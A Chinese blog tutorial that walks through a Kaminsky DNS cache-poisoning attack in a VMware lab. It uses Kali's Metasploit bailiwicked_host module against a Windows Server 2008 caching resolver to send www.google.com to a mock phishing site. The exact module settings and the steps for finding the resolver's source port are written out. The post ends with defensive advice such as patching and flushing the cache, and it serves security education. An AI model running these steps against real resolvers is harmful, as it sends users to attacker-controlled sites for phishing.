Kali Linux(二)渗透案例:DNS Kaminsky缓存投毒
在详细介绍Kali Linux系统之前我们先通过一个渗透案例了解Kali Linux。
本文使用Kali Linux对正在做“本地缓存DNS”的微软windows server2008进行Kaminsky缓存投毒,最终将www.google.com引导到一个预先定义好的web界面上。
(1)介绍渗透手段是为了我们在工作中能更好的做好安全防护工作,只有了解攻击才能做好防守。所以,我首先强烈谴责那些使用渗透工具,进行恶意攻击的行为。
(2)在做本文实验之前,建议先阅读之前发布的DNS安全-缓存投毒相关博客内容,了解Kaminsky攻击原理,http://zdzhu.blog.51cto.com/6180070/1575498
【本文渗透实验环境介绍】
(1)以下所有机器均安装在自己PC的VMware环境下,机器的网卡配置为NAT类型,这样保证机器能上公网。
(2)Windows server2008
开启DNS功能
IP地址192.168.8.136
角色是“本地缓存DNS”
(3)KaliLinux
IP地址192.168.8.149
角色是“渗透发起者”
(4)Windows 7
IP地址192.168.8.137
DNS地址设置为192.168.8.136
角色是“客户端”
(5)Centos 6.4 x86_64
IP地址192.168.8.153
安装并启动Bind软件,同时配置google.com的权威区
配置www.google.com对应的A记录是192.168.8.153
安装并启动Apache,使得客户端在浏览器里输入192.168.8.153后能看到Apache的界面。
角色是“模拟攻击者的钓鱼网站”
【第一部分 环境确认】
(1)在Windows 7客户端的浏览器里随便输入一个网站比如www.51cto.com,确认可以进入网站页面。测试通过代表Windows server2008的DNS递归功能正常。
(2)在Windows server2008上安装wireshark软件,然后启动网卡抓包。继续在Windows 7客户端的浏览器里随便输入几个不同网站的域名,查看wireshark软件抓包结果中server2008对外发起DNS迭代请求时使用的UDP源端口是什么?server2008默认使用相同源端口出去查询。
本文中测试时源端口是54866,如下。
【第二部分 使用Kali Linux开始渗透】
(1)在KaliLinux文本模式下执行命令msfconsole,等待一段时间后进入msf>的命令提示符下。
(2)执行命令use auxiliary/spoof/dns/bailiwicked_host
(3)执行命令show options如下
(4)执行如下命令
set RHOST 192.168.8.136 (对应被攻击的server2008本地DNS IP地址)
set HOSTNAME ns9.google.com
set NEWADDR 192.168.8.153 (对应攻击者部署好的站点)
set SRCPORT 54866 (对应server2008对外查询时使用的端口号)
set XIDS 50
(5)执行完毕后执行show options再次确认配置
(6)执行run
(7)当屏幕出现Poisoning Successful时代表渗透成功结束。
(8)执行exit退出并使用dig @192.168.8.136 命令测试此时server2008DNS缓存中google.com的NS记录情况,并测试www.google.com解析后的结果。
下图可见,本地缓存DNS中google.com的NS被投毒到了192.168.8.153上。那么所有向这台DNS发起的goog.com相关域名都会发往192.168.8.153做迭代查询,并将查询结果反馈给客户端。
(9)在Windows7客户端上的IE浏览器地址栏中输入www.google.com,会进入攻击者预先制定好的站点界面如下。
渗透实验结论:
(1)Kaminsky缓存投毒一旦成功影响非常大。
(2)尽量使用随机端口比较好的DNS软件作为本地缓存DNS,如果用windows server那么一定要做系统升级。本实验中的问题微软已经给出升级补丁。
(3)本地缓存DNS负责人一旦发现缓存投毒,可立即执行“缓存清除”操作。然后通过DNS解析日志或者抓包分析发起随机域名请求的源IP是什么,可尝试进行反跟踪,或者在上层网络设备上做好相应防护工作。
本文出自 “张舵主” 博客,转载请与作者联系!
郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。